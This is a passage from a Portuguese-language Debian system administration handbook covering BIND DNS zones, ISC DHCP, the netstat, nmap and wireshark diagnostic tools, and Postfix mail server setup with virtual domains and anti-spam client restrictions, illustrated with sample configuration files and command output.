10.6.2. Configurando

Arquivos de configuração para o bind, independente da versão, têm a mesma estrutura.
Os administradores da Falcot criaram uma zona primária falcot.com para armazenar informa-
ções relacionadas a este domínio, e uma zona 168.192.in-addr.arpa para mapeamento reverso de
endereços IP na rede local.

ATENÇÃO

Nomes de zonas inversas
Zonas reversas tem um nome particular. A zona que cobre a rede 192.168.0.0/16
precisa ser nomeada como 168.192.in-addr.arpa: os componentes do endereço
IP são invertidos, e seguidos pelo sufixo in-addr.arpa.
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Para redes IPv6, o sufixo é ip6.arpa e os componentes do endereço IP os quais são
invertidos são cada caractere de toda a representação hexadecimal do endereço
IP. Como por exemplo, a rede 2001:0bc8:31a0::/48 iria usar uma zona de nome
0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

DICA

Testando o servidor DNS
O comando host (do pacote bind9-host) faz pesquisa em um servidor DNS,
e pode ser usado para testar a configuração do servidor. Por exemplo, host
machine.falcot.com localhost checa a resposta do servidor local para a pes-
quisa por machine.falcot.com. host ipaddress localhost testa a resolução
reversa.

Os seguintes trecho de configuração, tirados dos arquivos da Falcot, podem servir como ponto
de partida para configurar um servidor DNS:

Exemplo 10.12 Trecho do /etc/bind/named.conf.local

zone ”falcot.com” {
type master;
file ”/etc/bind/db.falcot.com”;
allow-query { any; };
allow-transfer {

195.20.105.149/32 ; // ns0.xname.org
193.23.158.13/32 ; // ns1.xname.org

};
};

zone ”internal.falcot.com” {
type master;
file ”/etc/bind/db.internal.falcot.com”;
allow-query { 192.168.0.0/16; };

};

zone ”168.192.in-addr.arpa” {
type master;
file ”/etc/bind/db.192.168”;
allow-query { 192.168.0.0/16; };

};

Exemplo 10.13 Trecho do /etc/bind/db.falcot.com

; falcot.com Zone
; admin.falcot.com. => zone contact: admin@falcot.com
$TTL 604800
@ IN SOA falcot.com. admin.falcot.com. (

20040121 ; Serial
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604800 ; Refresh
86400 ; Retry

2419200 ; Expire
604800 ) ; Negative Cache TTL

;
; The @ refers to the zone name (”falcot.com” here)
; or to $ORIGIN if that directive has been used
;
@ IN NS ns
@ IN NS ns0.xname.org.

internal IN NS 192.168.0.2

@ IN A 212.94.201.10
@ IN MX 5 mail
@ IN MX 10 mail2

ns IN A 212.94.201.10
mail IN A 212.94.201.10
mail2 IN A 212.94.201.11
www IN A 212.94.201.11

dns IN CNAME ns

ATENÇÃO

Sintaxe de um nome
A sintaxe de nomes de máquina seguem regras rígidas. Por exemplo, machine tem
que ser machine.domain. Se o nome de domínio não deve ser anexado ao nome,
o dito nome tem que ser escrito como machine. (com o ponto como sufixo). Indi-
car um nome DNS fora do domínio corrente entretanto requer uma sintaxe como
machine.otherdomain.com. (com o ponto final).

Exemplo 10.14 Trecho do /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16
; admin.falcot.com. => zone contact: admin@falcot.com
$TTL 604800
@ IN SOA ns.internal.falcot.com. admin.falcot.com. (

20040121 ; Serial
604800 ; Refresh
86400 ; Retry

2419200 ; Expire
604800 ) ; Negative Cache TTL

IN NS ns.internal.falcot.com.

; 192.168.0.1 -> arrakis
1.0 IN PTR arrakis.internal.falcot.com.
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; 192.168.0.2 -> neptune
2.0 IN PTR neptune.internal.falcot.com.

; 192.168.3.1 -> pau
1.3 IN PTR pau.internal.falcot.com.

10.7. DHCP

DHCP (para Dynamic Host Configuration Protocol) é um protocolo pelo qual uma máquina pode
receber automaticamente sua configuração de rede no momento de inicialização. Isso permite
centralizar o gerenciamento de configuração de uma rede, e garante que todas as máquinas
recebam configurações similares.
Um servidor DHCP provê muitos parâmetros relacionados a redes. O mais comum desses é um
endereço IP e a rede a qual a máquina pertence, mas ele também pode prover outras informa-
ções, como servidores DNS, servidores WINS, servidores NTP, e assim por diante.
A Internet Software Consortium (também envolvida no desenvolvimento do bind) é a principal
autora do servidor DHCP. O pacote Debian correspondente é o isc-dhcp-server.

10.7.1. Configurando

Os primeiros elementos que precisam ser editados no arquivo de configuração de um servidor
DHCP (/etc/dhcp/dhcpd.conf) são o nome de domínio e os servidores DNS. Se esse servidor é o
único na rede local (como definido pela propagação broadcast), a diretiva authoritative também
tem que ser ativada (ou descomentada). Também é necessário criar uma seção subnet descre-
vendo a rede local e a informação de configuração a ser fornecida. O exemplo a seguir descreve
uma rede local 192.168.0.0/24 com um roteador em 192.168.0.1 servindo de gateway. Endereços
IP disponíveis estão no intervalo de 192.168.0.128 até 192.168.0.254.

Exemplo 10.15 Trecho do /etc/dhcp/dhcpd.conf

#
# Sample configuration file for ISC dhcpd for Debian
#

# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages (’none’, since DHCP v2 didn’t
# have support for DDNS.)
ddns-update-style interim;

# option definitions common to all supported networks...
option domain-name ”internal.falcot.com”;
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option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;
max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# My subnet
subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;
option broadcast-address 192.168.0.255;
range 192.168.0.128 192.168.0.254;
ddns-domainname ”internal.falcot.com”;

}

10.7.2. DHCP e DNS

Um recurso legal é o registro automatizado de clientes DHCP em uma zona DNS, para que cada
máquina receba um nome significativo (ao invés de alguma coisa impessoal como machine-192-
168-0-131.internal.falcot.com). Usar esse recurso requer a configuração do servidor DNS para
aceitar atualizações para a zona DNS internal.falcot.com a partir do servidor DHCP, e configurar
esse último para submeter atualizações para cada registro.
No caso do bind, a diretiva allow-update precisa ser adicionada a cada uma das zonas que o
servidor DHCP deve editar (uma para o domínio internal.falcot.com, e uma para a zona reversa).
Essa diretiva lista o endereço IP que tem permissão para realizar essas atualizações; ela deve
então conter os possíveis endereços do servidor DHCP (tanto o endereço local quanto o endereço
público, se apropriado).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Esteja atento! Uma zona que pode ser modificada será alterada pelo bind, e esse último irá so-
brescrever seus arquivos de configuração em intervalos regulares. Como esse procedimento
automatizado produz arquivos que são menos legíveis por humanos que os escritos manual-
mente, os administradores da Falcot lidam com o domínio internal.falcot.com com um servidor
DNS delegado; isso significa que o arquivo de zona falcot.com continua firmemente sob controle
manual.
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O trecho da configuração do servidor DHCP acima inclui as diretivas necessárias para atuali-
zação da zona DNS: elas são as linhas ddns-update-style interim; e ddns-domain-name ”inter-
nal.falcot.com”; no bloco que descreve a subrede.

10.8. Ferramentas de Diagnóstico de Rede

Quando uma aplicação de rede não funciona como o esperado, é importante poder olhar sob
o capô. E mesmo quando tudo parece rodar suave, fazer um diagnóstico da rede pode ajudar
a garantir que tudo está funcionando como deveria. Várias ferramentas de diagóstico existem
para esse propósito; cada uma opera em um nível diferente.

10.8.1. Diagnóstico Local: netstat

Vamos primeiro mencionar o comando netstat (do pacote net-tools); ele exibe um sumário mo-
mentâneo da atividade de rede da máquina. Quando invocado sem argumentos, esse comando
lista todas as conexões abertas; essa lista pode ser bem longa já que inclui muitos soquetes Unix-
domain (amplamente usados por daemons) que não tem nada a ver com redes (por exemplo,
comunicação dbus, tráfego X11 e comunicações entre sistema de arquivos virtuais e o desktop).
Invocações comuns entretanto usam opções que alteram o comportamento do netstat. As op-
ções mais comumente usadas são:

• -t, que filtra os resultados para incluir apenas conexões TCP;
• -u, que funciona demaneira similar para conexõesUDP; essas opções não sãomutuamente
exclusivas, e uma delas é suficiente para parar de exibir conexões Unix-domain;

• -a, para também listar soquetes ativos (esperando por conexões de entrada);
• -n, para exibir os resultados com números: endereço IP (sem resolução DNS), números de
porta (sem as aliases como definidas em /etc/services) e ids de usuários (sem nomes de
login);

• -p, para listar os processos envolvidos; essa opção só é útil quando o netstat é executado
como root, já que usuários normais apenas verão seus próprios processos;

• -c, para atualizar continuamente a lista de conexões.

Outras opções, documentadas na página de manual netstat(8), fornecem um controle ainda
mais apurado sobre os resultados exibidos. Na prática, as cinco primeiras opções são tão co-
mumente usadas em conjunto que administradores de sistemas e de redes praticamente usam
netstat -tupan como um reflexo. Resultados típicos em uma máquina levemente carregada
devem se parecer com o seguinte:
# netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd
tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd
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tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4
tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [
tcp6 0 0 :::111 :::* LISTEN 397/rpcbind
tcp6 0 0 :::22 :::* LISTEN 431/sshd
tcp6 0 0 ::1:25 :::* LISTEN 762/exim4
tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd
udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind
udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind
udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd
udp6 0 0 :::996 :::* 397/rpcbind
udp6 0 0 :::34277 :::* 407/rpc.statd
udp6 0 0 :::54852 :::* 916/dhclient
udp6 0 0 :::111 :::* 397/rpcbind
udp6 0 0 :::38007 :::* 451/avahi-daemon: r
udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd
udp6 0 0 ::1:123 :::* 539/ntpd
udp6 0 0 :::123 :::* 539/ntpd
udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Como esperado, isso lista conexões estabelecidas, duas conexões SSH neste caso, e aplicações
esperando por conexões de entrada (listadas como LISTEN), notavelmente o servidor de email
Exim4 ouvindo na porta 25.

10.8.2. Diagnóstico Remoto: nmap

nmap (em pacote de nome similar) é, de certa forma, o equivalente remoto do netstat. ele
pode escanear um conjunto de portas conhecidas em um ou mais servidores remotos, e listar
as portas aonde uma aplicação se encontra para responder a conexões de entrada. Além do
mais, o nmap é capaz de identificar algumas dessas aplicações, algumas vezes até seu número de
versão. A contrapartida dessa ferramenta é que, como ela é executada remotamente, ela não
pode fornecer informações sobre processos ou usuários; contudo, ela pode operar em vários
alvos de uma vez.
Uma invocação típica do nmap usa apenas a opção -A (para que o nmap tente identificar as ver-
sões dos softwares no servidor que ele encontrar) seguido de um oumais endereços IP ou nomes
DNS dasmáquinas a escanear. Novamente, existemmuitas outras opções para refinar o compor-
tamento do nmap; por favor veja a documentação na página de manual nmap(1).

# nmap mirtuel

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for mirtuel (192.168.1.242)
Host is up (0.000013s latency).
rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org
Not shown: 998 closed ports
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PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
# nmap -A localhost

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000013s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp open smtp Exim smtpd 4.84
| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME,

å PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36568/tcp status
|_ 100024 1 39172/udp status
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.15
Network Distance: 0 hops
Service Info: Host: mirtuel; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http
å ://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Como esperado, as aplicações SSH e Exim4 estão listadas. Note que nem todas as aplicações
escutam em todos os endereços IP; como o Exim4 só é acessível pela interface loopback lo, ele
só aparece durante uma análise do localhost e não quando se escaneia omirtuel (que é mapeado
na interface eth0 na mesma máquina).

10.8.3. Sniffers: tcpdump e wireshark

Às vezes, é preciso olhar o que realmente acontece no fio, pacote a pacote. Nesses casos é neces-
sário invocar um “analizador de quadro”, mais comumente conhecido como sniffer. Uma ferra-
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menta dessas observa todos os pacotes que chegam em uma determinada interface de rede, e os
exibe de uma maneira amigável.
A venerável ferramenta neste domínio é o tcpdump, disponível como ferramenta padrão em
uma grande variedade de plataformas. Ela permite muitos tipos de captura de tráfego de rede,
mas a representação desse tráfego semantém obscura. Nós então não iremos descrevê-la muito
detalhadamente.
Uma ferramenta mais recente (e mais moderna), wireshark (do pacote wireshark), se tornou
a nova referência em análise de tráfego de rede devido a seus vários módulos de ”decoding”
que permitem uma análise simplificada dos pacotes capturados. Os pacotes são exibidos grafi-
camente organizados com base nas camadas de protocolo. Isso permite ao usuário visualizar
todos os protocolos envolvidos em um pacote. Por exemplo, dado um pacote contendo uma
requisição HTTP, o wireshark exibe, separadamente, a informação referente a camada física,
camada Ethernet, informação do pacote IP, parâmetros de conexão TCP, e finalmente a própria
requisição HTTP.

Figura 10.1 O analisador de tráfego de rede wireshark

Em nosso exemplo, os pacotes que viajam pelo SSH são filtrados (pelo filtro !tcp.port == 22). O
pacote exibido no momento foi desenvolvido na camada HTTP.

DICA

wireshark sem interface
gráfica: tshark

Se não for possível executar a interface gráfica, ou se não se quer fazer isso por uma
razão qualquer, uma versão modo texto do wireshark também existe sob o nome
de tshark (em um pacote separado tshark). A maioria dos recursos de captura e
”decoding” ainda estão disponíveis, mas a ausência da interface gráfica necessaria-
mente limita as interações com o programa (a filtragem de pacotes depois de terem
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sido capturados, rastreio de uma dada conexão TCP, e assim por diante). Mas ele
ainda pode ser usado como primeira abordagem. Se manipulações mais profundas
forem pretendidas e requererem a interface gráfica, os pacotes podem ser salvos
em um arquivo e esse arquivo pode ser carregado no wireshark gráfico que está
sendo executado em outra máquina.
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Serviços de rede são programas que os usuários interagem diretamente no seu dia-a-dia. Eles são a ponta
do icebergue da informação, e este capítulo foca neles; as partes escondidas nas quais eles dependem são
a infraestrutura que nós já descrevemos.
Muitos serviços de rede modernos requerem uma tecnologia de criptografia para operar de maneira
confiável e segura, especialmente quando usados em internet pública. Certificados X.509 ( que também
podem ser referenciados como Certificados SSL ou Certificados TLS) são usados para esse propósito com
frequência. Um certificado para um domínio específico pode às vezes ser compartilhado entre mais de um
dos serviços discutidos neste capítulo.



11.1. Servidor de Correio Eletrônico

Os administradores da Falcot Corp selecionaram o Postfiz como servidor de correio eletrônico,
devido a sua confiabilidade e fácil configuração. De fato, seu projeto reforça que cada tarefa é
implementada em um processo com um conjunto mínimo de permissões, que é uma medida de
mitigação contra problemas de segurança.

ALTERNATIVA

O servidor Exim4
O Debian utiliza os Exim4 como o servidor de e-mail padrão (eis o porque da ins-
talação inicial incluir o Exim4). A configuração é provida por um pacote diferente,
exim4-config, e automaticamente customizado baseado nas respostas de um con-
junto de questões no Debconf muito similar as questões feitas pelo pacote postfix.

A configuração pode ser tanto em um único arquivo (/etc/exim4/exim4.
conf.template) ou divido em alguns trechos de configuração armazenados
em /etc/exim4/conf.d/. Em ambos os casos, os arquivos são usados
pelo update-exim4.conf como modelo para gerar o /var/lib/exim4/config.
autogenerated. Este último é utilizado pelo Exim4. Graças ao seu mecanismo,
os valores obtidos através da configuração debconf do Exim - que é armazenado
em /etc/exim4/update-exim4.conf.conf - pode ser injetado no arquivo de con-
figuração do Exim, mesmo quando o administrador ou outro pacote alterou a con-
figuração padrão do Exim.

A sintaxe do arquivo de configuração do Exim4 tem suas particularidades e sua
curva de aprendizado, contudo, uma vez que essas particularidades são compreen-
didas, o Exim4 se torna um servidor de e-mail muito completo e poderoso, como
evidenciado pelas suas muitas páginas de documentação.

è http://www.exim.org/docs.html

11.1.1. Instalando o Postfix

Opacote postfix incluí umo daemon SMTP principal. Outros pacotes (como o postfix-ldap e postfix-
pgsql) adicionam funcionalidades extras ao Postfix, incluindo acesso a bancos de dados. Você só
deve instalá-los se souber que precisa dos mesmos.

DE VOLTA AO BÁSICO

SMTP
SMTP (Protocolo Simples para Transferência de Correio) é um protocolo usado
por servidores de e-mail para intercambiar e rotear e-mails.

Diversas questões Debconf são feitas durante o processo de instalação do pacote. As respostas
permitem gerar a primeira versão do arquivo de configuração /etc/postfix/main.cf.
A primeira pergunta é sobre qual o tipo de instalação. Apenas duas das respostas propostas
são relevantes no caso de um servidor conectado à Internet , ”site de Internet” e ”Internet com
smarthost”. O primeiro é apropriado para um servidor que recebe e-mails entrantes e envia
e-mails saintes diretamente aos seus destinatários, e portanto é se adapta bem ao caso da Fal-
cot Corp . o último é apropriado para um servidor que recebe e-mails recebidos normalmente,
mas que envia e-mails saintes através de um servidor SMTP intermediário - o ”smarthost” - ao
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invés de diretamente para o servidor do destinatário . Isto é útil para os indivíduos com um
endereço IP dinâmico , uma vez que muitos servidores de e-mail rejeitammensagens diretas do
referido endereço IP. Neste caso, o smarthost será geralmente o servidor SMTP do ISP, que é
sempre configurado para aceitar e-mail proveniente de clientes do ISP e transmiti-los de forma
adequada. Esta configuração (com um smarthost) também é relevante para os servidores que
não estão permanentemente conectados à internet, uma vez que se evita ter de gerenciar uma
fila de mensagens não entregues que precisam ser repetida mais tarde.

VOCABULÁRIO

ISP
ISP é acrônico para ”Internet Service Provider” (Provedor de Serviços de Internet).
Isto cobre uma entidade, normalmente uma empresa, que provê conexões a internet
e seus serviços básicos associados (e-mail, notícias e assim por diante).

A segunda questão diz respeito ao nome completo damáquina, utilizada para gerar os endereços
de e-mail a partir de um nome de usuário local; o nome completo da máquina acaba como a
parte após o arroba (”@”). No caso da Falcot, a resposta deveria ser mail.falcot.com. Esta é a
única pergunta feita por padrão, mas a configuração gerada não é completa o suficiente para
as necessidades de Falcot, razão pela qual os administradores executam o dpkg-reconfigure
postfix, para personalizar mais parâmetros.
Uma das questões extras pede para todos os nomes de domínio relacionados com esta máquina.
A lista padrão inclui o seu nome completo, bem como alguns sinônimos para localhost, mas o
principal domínio falcot.com precisa ser adicionadomanualmente. De modo geral, esta questão
deve ser respondida normalmente com todos os nomes de domínio para que esta máquina deve
servir como um servidor MX; em outras palavras, todos os nomes de domínio para o qual o DNS
diz que esta máquina vai aceitar e-mail. Esta informação acaba na variável mydestination do
principal arquivo de configuração do Postfix - /etc/postfix/main.cf.
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Figura 11.1 Papel do registro MX no DNS ao enviar um e-mail

EXTRA

Consultando os registros
MX

Quando o DNS não contém um registro MX para o domínio, o servidor e-mail ten-
tará enviar as mensagens para o hospedeiro em si, usando o registro correspon-
dente A (ou AAAA em IPv6).

Em alguns casos, a instalação pode perguntar quais redes devem ser permitidas a enviar e-mail
usando a máquina. Em sua configuração padrão, o Postfix somente aceita e-mails vindo da má-
quina em si, a rede local normalmente será adicionada. Os administradores da Falcot Corp adi-
cionaram 192.168.0.0/16 na pergunta padrão. Se a questão não é feita, a variável relevante no
arquivo de configuração é mynetworks, como visto no exemplo abaixo.
E-mails locais podem ser enviados através do comando procmail. Esta ferramenta permite aos
usuários organizarem seus e-mail de entrada de acordo com a regras armazenadas em seu ar-
quivo ~/.procmailrc.
Após este primeiro passo, os administradores conseguiram o seguinte arquivo de configuração;
ele será usado como ponto de partida para adicionarmos funcionalidades extras nas próximas
seções.

Exemplo 11.1 Arquivo inicial /etc/postfix/main.cf

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific: Specifying a file name will cause the first
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# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no

# appending .domain is the MUA’s job.
append_dot_mydomain = no

# Uncomment the next line to generate ”delayed mail” warnings
#delay_warning_time = 4h

readme_directory = no

# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated
å defer_unauth_destination

myhostname = mail.falcot.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16
mailbox_command = procmail -a ”$EXTENSION”
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all

SEGURANÇA

Certificados SSL Snake oil

Os certificados óleo de cobra (snake oil), como o ”remédio” óleo de cobra vendido
por charlatães sem escrúpulos nos velhos tempos, não tem absolutamente nenhum
valor, você não pode se basear neles para autenticar o servidor já que eles são cer-
tificados auto-assinados automaticamente gerados. Contudo, eles são úteis para
aprimorar a privacidade de intercâmbios.

Em geral, eles só devem ser usados para fins de teste e, o serviço normal deve
utilizar certificados reais; estes podem ser gerados com o procedimento descrito no
Seção 10.2.1.1, “Infraestrutura de Chaves Públicas: easy-rsa” [237].
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11.1.2. Configurando Domínios Virtuais

O servidor de e-mails pode receber e-mails de outros domínios além do domínio principal; estes
são conhecidos como domínios virtuais. Namaioria dos casos quando isto ocorre, os e-mails não
ultimamente destinados aos usuários locais. O Postfix provê duas funcionalidades interessantes
para manipular domínios virtuais.

ATENÇÃO

Domínios virtuais e
domínios canônicos

Nenhum dos domínios virtuais deve ser referenciado na variável mydestination;
está variável somente contém os nomes ”canônicos” dos domínios diretamente as-
sociados a máquina e seus usuários locais.

Alias de domínios virtuais

Um alias de domínio virtual contém somente aliases, isto é, endereços que encaminham unica-
mente os e-mails para outros endereços.
Tal domínio é ativado ao se adicionar seu nome a variável virtual_alias_domains, e referenciar
um arquivo de mapa de endereços a variável virtual_alias_maps.

Exemplo 11.2 Diretivas para serem adicionadas no arquivo /etc/postfix/main.cf

virtual_alias_domains = falcotsbrand.com
virtual_alias_maps = hash:/etc/postfix/virtual

O arquivo /etc/postfix/virtual descreve o mapeamento com uma sintaxe bastante simples:
cada linha contém dois campos separados por espaços em branco; o primeiro campo é o nome
do alias, o segundo campo é uma lista de endereços de e-mail onde ele redireciona. A sintaxe
especial @domain.com abrange todos os aliases restantes em um domínio.

Exemplo 11.3 Arquivo de exemplo /etc/postfix/virtual

webmaster@falcotsbrand.com jean@falcot.com
contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com
# The alias below is generic and covers all addresses within
# the falcotsbrand.com domain not otherwise covered by this file.
# These addresses forward email to the same user name in the
# falcot.com domain.
@falcotsbrand.com @falcot.com

Domínios Virtuais de Caixa de Correio
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ATENÇÃO

Domínio virtual
combinado?

O Postfix não permitir o uso do mesmo domínio, tanto virtual_alias_domains
e virtual_mailbox_domains. No entanto, todos os domínios
da virtual_mailbox_domains está implicitamente incluído no
virtual_alias_domains, o que torna possível misturar aliases e caixas de
correio dentro de um domínio virtual.

Asmensagens endereçadas a um domínio de caixa de correio virtual são armazenadas em caixas
de correio não atribuídos a um usuário do sistema local.
Ativando um domínio de caixa de correio virtual requer nomear este domínio na variável vir-
tual_mailbox_domains, e referenciar um arquivo de mapeamento de caixa de correio no vir-
tual_mailbox_maps. O parâmetro virtual_mailbox_base contém o diretório sob o qual as caixas
de correio serão armazenadas.
O parâmetro virtual_uid_maps (virtual_gid_maps respectivamente) faz referência ao arquivo
que contém o mapeamento entre o endereço de e-mail e o usuário do sistema (grupo respec-
tivamente) que ”possui” a caixa correspondente. Para obter todas as caixas de correio de pro-
priedade do mesmo dono/grupo, a sintaxe static:5000 atribui um UID/GID fixo (de valor 5000
aqui).

Exemplo 11.4 Diretivas para serem adicionadas no arquivo /etc/postfix/main.cf

virtual_mailbox_domains = falcot.org
virtual_mailbox_maps = hash:/etc/postfix/vmailbox
virtual_mailbox_base = /var/mail/vhosts

Novamente, a sintaxe do arquivo /etc/postfix/vmailbox é bastante simples: dois campos se-
parados por espaço em branco. O primeiro campo é um endereço de e-mail dentro de um dos
domínios virtuais, e o segundo campo é a localização da caixa de correio associada (relativo ao
diretório especificado no virtual_mailbox_base). Se o nome da caixa de correio termina com uma
barra (/), os e-mails serão armazenados no formatomaildir; caso contrário, o tradicional formato
mbox será usado. O formato maildir usa um diretório inteiro para armazenar a caixa de correio,
cada mensagem que está sendo armazenada em um arquivo separado. No formato mbox, por
outro lado, toda a caixa de correio é armazenado em um arquivo, e cada linha começando com
”De ” (De seguido de um espaço) indica o início de uma nova mensagem.

Exemplo 11.5 O arquivo /etc/postfix/vmailbox

# Os e-mails de Jean são armazenados como maildir, com
# um arquivo por e-mail em um diretório dedicado
jean@falcot.org falcot.org/jean/
# Os e-mails de Sophie são armazenados em um arquivo tradicional ”mbox”,
# com todos os e-mails concatenados em um arquivo único
sophie@falcot.org falcot.org/sophie
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11.1.3. Restrições para Recebimento e Envio

O crescente número de e-mails em massa não solicitados (spams) requer cada vez ser mais ri-
goroso ao decidir quais e-mails um servidor deve aceitar. Esta seção apresenta algumas das
estratégias incluídas no Postfix.

CULTURA

O problema do spam
”Spam” é um termo genérico usado para designar todos os e-mails comerciais não
solicitadas (também conhecidas como UCEs) que inundam nossas caixas de correio
eletrônico; indivíduos sem escrúpulos que os enviam são conhecidos como spam-
mers. Eles pouco se importam com o incômodo que causam já que os custos de
envio de e-mail custa muito pouco e precisam somente atrair para suas ofertas
uma percentagem muito pequena de quem os recebe para que a operação de spam
gere mais dinheiro do que custa. O processo é praticamente todo automatizado, e
qualquer endereço de e-mail tornado público (por exemplo, em um fórum na web,
ou nos arquivos de uma lista de discussão, ou em um blog, e assim por diante) será
descoberto pelos robôs dos spammers, e submetido para um fluxo interminável de
mensagens não solicitadas.

Todos os administradores de sistema tentam enfrentar esse incômodo com filtros
de spam, mas os spammers, claro, mantém os ajustes para tentar contornar esses
filtros. Alguns até mesmo alugam redes demáquinas comprometidas por umworm
de vários sindicatos do crime. Estatísticas recentes estimam que até 95% de todos
os e-mails que circulam na Internet são spam!

Restrições de Acesso Baseados no IP

A diretiva smtpd_client_restrictions controla quais máquinas tem permissão para se comunicar
com o servidor de e-mail.

Exemplo 11.6 Restrições Baseadas no Endereço do Cliente

smtpd_client_restrictions = permit_mynetworks,
warn_if_reject reject_unknown_client,
check_client_access hash:/etc/postfix/access_clientip,
reject_rbl_client sbl-xbl.spamhaus.org,
reject_rbl_client list.dsbl.org

Quando uma variável contém uma lista de regras, como no exemplo acima, essas regras são ava-
liadas em ordem, desde a primeira até a última. Cada regra pode aceitar a mensagem, rejeitá-la,
ou deixar a decisão para a seguinte regra. Como consequência, a ordem importa e simplesmente
mudar duas regras pode levar a um comportamento completamente diferente.
A diretiva permit_mynetworks, usada como primeira regra, aceita e-mails vindos de uma má-
quina na rede local (como definido na variável de configuração mynetworks).
A segunda diretiva normalmente rejeitaria e-mails provenientes demáquinas sem uma configu-
ração de DNS completamente válido. Tal configuração válida significa que o endereço IP pode
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ser resolvida para um nome, e que esse nome, por sua vez, resolve o endereço IP. Essa restrição
é muitas vezes demasiada rigorosa, uma vez que muitos servidores de e-mail não tem um DNS
reverso para o seu endereço IP. Isso explica por que os administradores da Falcot prefixaram o
modificadorwarn_if_reject para a diretiva reject_unknown_client: este modificador transforma
a rejeição em uma simples advertência registrada nos logs. Os administradores podem, em se-
guida, manter um olho sobre o número de mensagens que seriam rejeitadas se a regra fosse
realmente cumprida, e tomar uma decisão informada mais tarde, se quiser ativar essa aplica-
ção.

DICA

tabelas de acesso

Os critérios de restrição incluem tabelas administrativas modificáveis listando
combinações de remetentes, endereços IP e nomes de host permitidos ou proi-
bidos. Essas tabelas podem ser criadas a partir de uma cópia descompactada
do /usr/share/doc/postfix-doc/examples/access.gz. Este modelo é auto-
documentado em suas observações, o que significa que cada tabela descreve sua
própria sintaxe.

A tabela /etc/postfix/access_clientip lista os endereços IP e redes; /etc/
postfix/access_helo lista nomes de domínio; /etc/postfix/access_sender
contém endereços de e-mail do remetente. Todos esses arquivos precisam ser trans-
formados em tabelas-hash (um formato otimizado para acesso rápido) após cada
alteração, com o comando postmap /etc/postfix/arquivo.

A terceira diretiva permite ao administrador criar uma lista negra e uma lista branca de servi-
dores de e-mail, armazenados em /etc/postfix/access_clientip. Servidores na lista branca
são considerados de confiança e os e-mails vindos de lá, portanto, não passam pelas regras se-
guintes de filtragem.
